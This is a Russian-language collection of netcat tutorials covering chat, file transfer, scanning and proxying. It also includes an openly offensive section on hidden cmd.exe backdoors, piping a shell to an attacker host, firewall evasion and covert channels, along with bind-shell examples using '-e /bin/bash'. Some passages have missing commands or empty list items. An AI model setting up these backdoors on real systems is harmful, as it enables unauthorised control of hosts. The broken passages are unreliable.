Netcat описание. Обзор возможностей и базовых приемов применения утилиты netcat

Почти в любом дистрибутиве Linux есть маленькая незаметная утилита netcat , или просто nc . Эта программа может создавать TCP-сокеты либо в режиме сервера для ожидания соединения, либо в режиме клиента для подключения к серверу. А по правде сказать, для netcat вовсе не играет роли, собираетесь ли вы использовать его как сервер или как клиент – его работа заключается только в том, чтобы собрать данные с stdin и передать на указанный сетевой адрес.

Простейший пример использования netcat – это создать клиент-серверный чат. Хотя это и очень примитивный способ создания чата, он наглядно показывает, как данная утилита работает. В последующих примерах будет подразумеваться, что машина, создающая сокет в режиме ожидания (сервер), имеет IP-адрес 192.168.0.1. Итак, создаем чат-сервер, который будет ожидать соединений на TCP-порт 3333:

$ nc -l 3333

Теперь мы можем с другого компьютера подключиться к данному серверу:

$ nc 192.168.0.1 3333

В данном случае клавиатура выступает в роли stdin. Все набираемое на клавиатуре на стороне сервера будет передано на терминал клиента, и наоборот.

Передача файлов

Совершенно аналогичным образом можно использовать netcat для передачи файлов между двумя компьютерами. При помощи следующей команды можно создать сервер, который подготовит файл к передаче:

Получить файл backup.iso на другом компьютере можно следующим образом:

$ nc 192.168.0.1 3333 > backup.iso

Как можно заметить, netcat не отображает никакой информации о процессе передачи данных. При работе с большими файлами это может быть довольно неудобно. Для решения этой проблемы можно использовать утилиту (progress viewer). В данном примере на стороне сервера будет в реальном времени отображаться информация о скорости и объеме передаваемых данных:

$ cat backup.iso | pv -b | nc -l 3333

Подобным образом можно показывать статистику и на стороне клиента:

$ nc 192.168.0.1 3333 | pv -b > backup.iso

Другие примеры

Утилита netcat может также пригодиться для создания образа раздела жесткого диска с возможностью отправки его на удаленный сервер на лету:

$ dd if=/dev/hdb5 | gzip -9 | nc -l 3333

А на удаленной машине принять созданный образ можно так:

$ nc 192.168.0.1 3333 | pv -b > myhdb5partition.img.gz

В случае необходимости отправки группы файлов – например, набора конфигурационных файлов – можно скомбинировать netcat и архиватор tar:

$ tar -czf - /etc/ | nc -l 3333

Дефис в качестве имени файла в параметрах tar необходим для того, чтобы вывести результат работы архиватора на stdin, который затем перенаправляется в netcat. Принять созданный бэкап на удаленной машине можно аналогично изложенному ранее:

$ nc 192.168.0.1 3333 | pv -b > mybackup.tar.gz

Безопасность

Очевидно, что при подобном использовании netcat информация передается по сети в исходном нешифрованном виде. Для передачи некритических данных это вполне приемлемо, но при передаче какой-либо ценной информации разумно использовать netcat в сочетании с SSH-туннелем.

Использование SSH-туннеля имеет два преимущества:

  1. Информация передается внутри зашифрованного туннеля, так что она хорошо защищена;
  2. На сервере не требуется открывать никаких дополнительных портов в конфигурации файрвола, поскольку соединение будет установлено через SSH

На стороне сервера файл в netcat выставляется точно так же, как описано ранее:

$ cat backup.iso | nc -l 3333

А вот на стороне клиента подключаемся к ожидающему соединений сокету netcat через SSH-туннель:

$ ssh -f -L 23333:127.0.0.1:3333 [email protected] sleep 10; \ nc 127.0.0.1 23333 | pv -b > backup.iso

Понятно, что есть и другие способы помещения соединения в SSH-туннель, но создание и использование туннеля именно таким образом имеет полезную особенность, что туннель автомагически закрывается при окончании передачи данных через netcat.

…и переносной сканер портов

Невероятно, но netcat еще можно использовать и для сканирования открытых портов. Для этого поможет параметр -z:

$ nc -z 192.168.0.1 80-90 Connection to 192.168.0.1 80 port succeeded!

В данном примере netcat сканировал диапазон портов 80-90 и сообщил, что на удаленной машине открыт порт 80.

На страницах man по утилите netcat также содержится и ряд других полезных советов и интересных примеров использования данной программы.


Это второй пост из серии статей о Unix утилитах, которые Вам следовало бы знать. В этой статье я представляю Вам утилиту netcat или просто nc.

Утилиту Netcat часто называют эдаким "Швейцарским армейским ножом", в хорошем смысле этого слова. Функционал netcat полезен в той-же степени, в какой полезна многофункциональность и сподручность зарекомендовавшего себя карманного Швейцарского армейского ножа. Некоторые из ее возможностей включают сканирование портов, передачу файлов, прослушивание портов и она может быть использована как бэкдор.

В 2006 году netcat получила 4-ое место в опросе "100 утилит сетевой безопасности", поэтому она - это определенно тот инструмент, который необходимо знать.

Как пользоваться nc?

Если Вы помните, я говорил, что netcat это Швейцарский армейский нож. Чем-бы этот нож был, если бы его нельзя было использовать как обычный нож? Вот почему netcat может использоваться вместо обычного telnet:

$ nc www.google.com 80

В действительности он более удобный чем обычный telnet, потому что Вы можете завершить соединение в любое время, нажав Ctrl+C и он обрабатывает двоичные данные как обычные (никаких escape последовательностей, ничего).

Вы можете добавить параметр “-v” для более подробного вывода результатов действий, и параметр (-vv) для получения статистики о том, сколько байт было передано во время текущего сеанса соединения.

Netcat может быть использован в качестве сервера. Если Вы запустите его, как указано ниже, он будет слушать на порту 12345 (на всех интерфейсах):

$ nc -l -p 12345

Теперь если Вы подключитесь к порту 12345 этого хоста, все, что Вы набираете будет передано удаленной стороне, что говорит нам о том, что netcat можно использовать как чат сервер. Запустите на одном из компьютеров:

# На компьютере A с IP 10.10.10.10 $ nc -l -p 12345

И подключитесь к нему с другого:

# На компьютере B $ nc 10.10.10.10 12345

Теперь обе стороны могут переговариваться!

Такой способ разговора, когда обе стороны могут разговаривать друг с другом делает возможным использование nc для операций ввода/вывода через сеть! К примеру, Вы можете послать целую директорию с одного компьютера на другой организовав tar конвейер через nc на первом компьютере, и перенаправив вывод в другой tar процесс на втором.

Предположим, Вы хотите переслать файлы из директории /data компьютера A с IP 192.168.1.10 на компьютер B (с любым IP). Это просто:

# На компьютере A с IP 192.168.1.10 $ tar -cf - /data | nc -l -p 6666 # На компьютере B $ nc 192.168.1.10 6666 | tar -xf -

Не забудьте скомбинировать конвейер с Рipe Viewer , который был описан в предыдущей статье, что-бы посмотреть статистику того, как быстро происходит передача!

Одиночный файл может быть послан проще:

# На компьютере A с IP 192.168.1.10 $ cat file | nc -l -p 6666 # На компьютере B $ nc 192.168.1.10 6666 > file

Вы даже можете скопировать и восстановить целый диск, с помощью nc:

# На компьютере A с IP 192.168.1.10 $ cat /dev/hdb | nc -l -p 6666 # На компьютере B $ nc 192.168.1.10 6666 > /dev/hdb

Заметим: Опция “-l” не может быть использована совместно с “-p” на Mac компьютерах! Решение, - просто заменить “-l -p 6666? на “-l 6666?. Как здесь:

# теперь nc слушает на порту 6666 для Mac компьютеров $ nc -l 6666

Незаурядное использование netcat - сканирование портов. Netcat не лучший инструмент для такой работы, но он с этим справляется (лучший, конечно-же nmap):

$ nc -v -n -z -w 1 192.168.1.2 1-1000 (UNKNOWN) 445 (microsoft-ds) open (UNKNOWN) 139 (netbios-ssn) open (UNKNOWN) 111 (sunrpc) open (UNKNOWN) 80 (www) open (UNKNOWN) 25 (smtp) : Connection timed out (UNKNOWN) 22 (ssh) open

Параметр “-n” предотвращает от просмотра DNS, “-z” не ждет ответа от сервера, и “-w 1? задает таймаут для соединения в 1 секунду.

Другое нетривиальное использование netcat в роли прокси. И порт и хост могут быть перенаправлены. Посмотрите на этот пример:

$ nc -l -p 12345 | nc www.google.com 80

Эта команда запускает nc на порту 1234 и перенаправляет все соединения на google.com:80. Если теперь Вы подключитесь к этому компьютеру на порту 12345 и сделаете запрос, Вы обнаружите, что в ответ не получаете никаких данных. Это правильно, потому-что мы не установили двунаправленный канал. Если Вы добавите второй канал, Вы получите Ваши данные на другом порту:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

После посылки запроса на порт 12345, получите Ваши данные ответа на порту 12346.

Вероятно самая мощная возможность netcat - запустить любой процесс как сервер:

$ nc -l -p 12345 -e /bin/bash

Параметр “-e” пораждает выполнение ввода и вывода перенаправляемого через сетевой сокет. Теперь, если Вы подключитесь к хосту на порту 12345, Вы можете использовать bash:

$ nc localhost 12345 ls -las total 4288 4 drwxr-xr-x 15 pkrumins users 4096 2009-02-17 07:47 . 4 drwxr-xr-x 4 pkrumins users 4096 2009-01-18 21:22 .. 8 -rw------- 1 pkrumins users 8192 2009-02-16 19:30 .bash_history 4 -rw-r--r-- 1 pkrumins users 220 2009-01-18 21:04 .bash_logout ...

Последствия таковы, что nc это популярный инструмент хакера и с его помощью можно очень легко сделать бэкдор. На Linux сервере вы можете запустить /bin/bash а на Windows cmd.exe и иметь в своих руках полный контроль.

Это все, что я хотел сказать. Вам знакомы какие-либо другие полезные приемы работы с netcat, которые здесь не описаны?

Как установить nc?

Если у Вас Debian или система базирующаяся на Debian, такая как Ubuntu, сделайте следующее:

$ sudo aptitude install netcat

Если у Вас Fedora или система базирующаяся на Fedora, такая как CentOS, сделайте:

$ sudo yum install netcat

Если у Вас Slackware, FreeBSD, NetBSD, Solaris или Mac, скачайте исходники nc и сделайте:

$ tar -zxf nc-version.tar.gz $ cd nc-version $ ./configure && sudo make install

Еще способ сделать это на Mac, если у Вас есть MacPorts:

$ sudo port install netcat

На Slackware Вы можете установить ее как пакет из пакетной директории:

$ sudo installpkg nc-1.10-i386-1.tgz

Если у Вас Windows, скачайте порт Windoze с securityfocus.

Руководство по утилите может быть найдено в man nc.

Приятного времяпровождения вместе с nc, до следующего раза!

Здравствуй Уважаемый читатель Х!

Думаю, этот рисунок можно назвать мини-тестом "Хакер ли ты?". Попробуй сказать, что
означает этот забавный котенок. Ну а если затруднения все-таки возникают, знай, что перед тобой самый любимая вещь всех продвинутых людей, так или иначе
связанных с Сетью, и имя ей - Netcat.

Netcat - это утилита, которая позволяет читать и передавать данные через сетевые
соединения. Иными словами, Netcat позволяет тебе соединятся с чем угодно и делать что угодно. Netcat абсолютно самодостаточен, при грамотном использовании он может заменить любое программное средство, включая даже известный тебе
Apache. Итак, в самом простом варианте Netcat позволяет создавать TCP и UDP соединения с любого на любой порт, умеет "слушать" входящие соединения (причем можно приказать "котенку" ждать соединения только с указанных тобой адресов и даже портов!), может сканировать порты, разрешать DNS-запросы, посылать любые команды со стандартного ввода, выполнять заранее предопределенные действия, в ответ на соединение, которое слушает "котенок", делать Hex-дамп отправленных и полученных данных и много-много чего еще...

Хотя, думаю нужно было с самого начала сказать, что Netcat умеет все; и возможности его использования ограниченны лишь уровнем твоих знаний и твоей фантазией. Изначально, Netcat задумывался как Unix утилита, но как ты понимаешь не могло не найтись энтузиастов, которые бы не портировали "котенка" под Windows. Обе версии ты без труда найдешь в поисковиках по запросу "Netcat". Но преимущества, конечно, достаются Unix-оидам, которые при компиляции могут слегка подправить "котенка" и тем самым активировать отключенные по дефолту фишки "дополнительные возможности".

Если ты когда-либо пользовался "программно-реализованными атаками", а попросту говоря эксплоитами, то наверняка замечал, что более, чем в половине из них так или иначе используется Netcat. Это связано прежде всего с тем, что Netcat никогда и никоим образом не модифицирует входящие данные (равно как и исходящие), в отличие скажем от Telnet-клиента, который сначала интерпретирует входящие данные, а уж затем выдает их тебе. Именно поэтому Netcat превратился в мощный инструмент поиска и эксплуатации уязвимостей, благодаря которому Bugtraq пополнился сотнями новых постингов.

Но, если поиск уязвимостей тебе не по душе, можешь попробовать использовать Netcat в качестве web-браузера, или, скажем, почтового клиента; тем паче, что в Internet Explorer-е и Outlook-е нашли "свежие" дыры, старый добрый Уникод, хех... Причем, на этом поприще отличились наши русские парни (!Играет национальная гордость!). Если ты читаешь эту статью, используя Explorer, сходи, посмотри насколько твой "Осел"
дыряв .

Вот после такого и пересядешь на Netcat - не очень удобно, зато
безопасно... Ну и наконец, примеры "продвинутого" использования Netcat
(Unix):

  1. Netcat как ;
  2. Netcat как утилита " "; такие часто описываются в X, а ведь в действительности они просто отправляют запросы на хорошо известные тебе поисковики... Твой "котенок" тоже может делать эту полезную работу!;
  3. Netcat как ! Заставь провайдера отдохнуть!!!

Обрати внимание, все выполнено в виде shell-скриптов так что ты при необходимости сможешь подправить все, что угодно.
За сим хочу проститься. Читай мануалы, и удачи тебе в изучении в изучении культовой утилиты Netcat!

P.S./Личное/: Сайт http://georgy.h1.ru/ мною закрыт. Раз и навсегда. Спасибо всем, кто был моим гостем.

Главное назначение утилиты netcat (или ‘nc’, как называется соответствующий выполняемый файл) — предоставить пользователю возможность передавать любые данные через сеть, используя транспортный протокол TCP или UDP. Кроме этого, netcat может выполнять еще несколько интересных функций, например, сканирования UDP- или TCP-Портов.

При этом пользователь может, в частности:

  • свободно выбирать порт привязки (как локальный, так и отдаленный);
  • выполнять (не выполнять) прямую и обратную трансляцию DNS-Имен;
  • привязывать netcat к любому из адресов уровня сети локального узла;
  • передавать входные сообщения на обработку другой программе;
  • шифровать данные, которые передаются (эта возможность реализована в версии netcat, так называемая cryptcat).

Базовые режимы работы

Базовые режимы работы утилиты netcat — режим клиента и режим сервера.

Простейший вариант запуска в режиме клиента:

nc host port

(если нужно использовать протокол TCP), или

nc -u host port

(если нужно использовать протокол UDP).

Если не включенная опция -u, непосредственно после запуска в этом режиме netcat осуществляет попытку установить TCP-Соединение с портом port узла host.

Работа netcat сводится к передаче на сокет host:port всего, что приходит к ней через стандартный канал ВВОДА, и выдачи в стандартный канал ВЫВОДА всего, что приходит к ней из этого сокета.

Простейший вариант запуска в режиме сервера:

nc -l -p port

После запуска в этом режиме netcat ждет запросов на установление соединения с TCP-Портом port. После установления соединения выдает все, что приходит к ней через это соединение, в стандартный канал ВЫВОДА, и передает назад все, что приходит к ней через стандартный канал ВВОДА.

Применение при подготовке и проведении программных атак

Такое широкое назначение утилиты netcat открывает множество возможностей по ее применению. При подготовке и проведении программных атак возможное применение netcat для решении следующих, например, задач:

  • идентификация сервисов, которые предоставляют узлы сети (путем сканирования TCP- и UDP-Портов);
  • идентификация программного обеспечения сервисов, которые предоставляют узлы сети (путем сбора маркеров);
  • проникновение на узлы сети или нарушение доступности сервисов, которые они предоставляют;
  • создание скрытых каналов управления узлами сети;
  • создание скрытых каналов передачи данных.

В последних двух случаях очень полезной есть возможность шифровать обмен между клиентом и сервером netcat (реализованная в cryptcat).

Применение netcat для проникновения на узлы сети или отдаленного нарушения доступности сервисов, которые они предоставляют

О проникновении на узел сети говорят в двух смыслах:

1) как про захват полномочий пользователя узла (субъектом, который к этому не имел никаких полномочий относительно этого узла);

2) как о преодолении ограничений на информационный обмен с узлом, наложенных межсетевым (сетевым) экраном.

netcat может оказаться полезной в обоих случаях.

Захват полномочий возможен путем отдаленной атаки на сервер, который принадлежит объекту атаки (используя, например, такую уязвимость сервера, как переполнение буфера). При этом у атакующего должна быть возможность передать серверу определенные данные. Как правило, это такие данные, которые невозможно передать с помощью обычной клиентской программы (но возможно с помощью netcat, поскольку netcat дает возможность передавать любые данные).

Проникнуть через межсетевой (сетевой) экран может помочь способность netcat привязываться к любому локальному порту (включается опцией -p). Например, если netcat в режиме клиента привязывается к TCP-Порту 20 (ftp-data), во многих случаях межсетевые (сетевые) экраны разрешат устанавливать соединение с узлами (узлом) сети, которые (который) они защищают.

Для нарушения доступности сервисов может применяться та самая способность netcat передавать любому серверу любые данные (например, некорректные запросы, которые приводят к зависанию сервера).

Применение netcat для создания скрытых каналов управления узлами сети

Предположим, что объектом атаки является узел под управлением MS Windows NT. Выполнив на объекте атаки

nc –L -p xxxx -d -e cmd.exe

(где xxxx — произвольный номер порта), получим скрытый канал управления этим объектом. Здесь опция -e включает режим, в котором стандартный поток ВЫВОДА результатов утилиты netcat подключается к стандартному каналу ВВОДА командного интерпретатора cmd.exe, а стандартные потоки ВЫВОДА результатов и сообщений об ошибках командного интерпретатора cmd.exe – к стандартному потоку ВВОДА утилиты netcat. Опция -L действует аналогично -l, с таким различием, что указывает на необходимость перезапуска netcat с теми же аргументами после завершения каждого соединения. Опция -d (detach) служит для скрытия запуска (netcat при этом не создает окна и не отображается в списке задач). Дополнительного эффекта скрытия можно достичь, если переименовать выполняемый файл netcat.

Воспользоваться этим каналом можно, если, например, на другом узле следующим образом запустить netcat:

nc troy xxxx

где troy — адрес или имя объекта атаки.

Опция -e, однако, не всегда поддерживается реализациями netcat. Если эта опция не поддерживается, аналогичного результата можно достичь, запустив по два экземпляра netcat на объекте атаки и на узле атакующего. Можно, например, применить следующий сценарий. На объекте атаки запустить:

nc -L -p xxxx -d | cmd.exe | nc odysseus yyyy

где odysseus — адрес или имя узла атакующего.

А на узле атакующего:

nc -l -p yyyy

nc troy xxxx

Такой сценарий называется перенаправлением портов . Обратите внимание на правильный порядок запуска программ (в данном тексте он отображен неправильно: сервер нужно запускать раньше клиента).

Этот сценарий можно модифицировать. Например, на объекте атаки запускать netcat только в режиме клиента, а на узле атакующего – только в режиме сервера, или наоборот (придерживаясь при этом правильного порядка запуска: сервер должен запускаться ранее клиента).

Манипулирование режимами запуска netcat, вместе с правильным выбором номеров портов, может разрешить во многих случаях преодолеть межсетевой (сетевой) экран, если последний применяется для защиты объекта атаки (например, если используется рассмотренный выше сценарий, во многих случаях может оказаться удачным выбор xxxx = 80 (порт HTTP-Сервера), yyyy = 25 (порт SMTP-Сервера)).

Применение netcat для создания скрытых каналов передачи данных

Рассмотрим, например, как с помощью netcat передать файл из сокета troy:xxxx на сокет mac:yyyy.

Для этого достаточно на узле mac выполнить что-то наподобие:

nc -l -p yyyy > godear

а на узле troy:

nc -p xxxx mac yyyy < prayer

Здесь, снова таки, надлежащее манипулирование режимами запуска netcat и номерами портов может помочь преодолеть ограничения, которые накладываются межсетевыми (сетевыми) экранами.

В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.


Netcat - утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.


С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.


Что можно сделать с помощью netcat:

  • Сканировать порты;
  • Перенаправлять порты;
  • Производить сбор баннеров сервисов;
  • Слушать порт (биндить для обратного соединения);
  • Скачивать и закачивать файлы;
  • Выводить содержимое raw HTTP;
  • Создать мини-чат.

Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

Практические примеры

Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:

Проверка наличия открытого TCP-порта 12345

$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port succeeded!
SSH-2.0-OpenSSH

Сканирование TCP-портов с помощью netcat:

$ nc -vnz 192.168.1.100 20-24

При таком сканировании не будет соединение с портом, а только вывод успешного соединения:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Сканирование UDP-портов.

Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет - в этом случае нам тоже может помочь утилита netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 succeeded!

Отправка UDP-пакета

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Это может быть полезно при взаимодействии с сетевыми устройствами.

Прием данных на UDP-порту и вывод принятых данных

$ nc -u localhost 7777

После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


$ while true; do nc -u localhost 7777; done

Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact в роли простейшего веб-сервера.

Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


$ while true; do nc -lp 8888 < index.html; done

C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


$ while true; do sudo nc -lp 80 < test.html; done

Чат между узлами

На первом узле (192.168.1.100):


$ nc -lp 9000

На втором узле:


$ nc 192.168.1.100 9000

После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

Реверс-шелл

С помощью netcat можно организовать удобный реверс-шелл:


nc -e /bin/bash -lp 4444

Теперь можно соединиться с удаленного узла:


$ nc 192.168.1.100 4444

Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.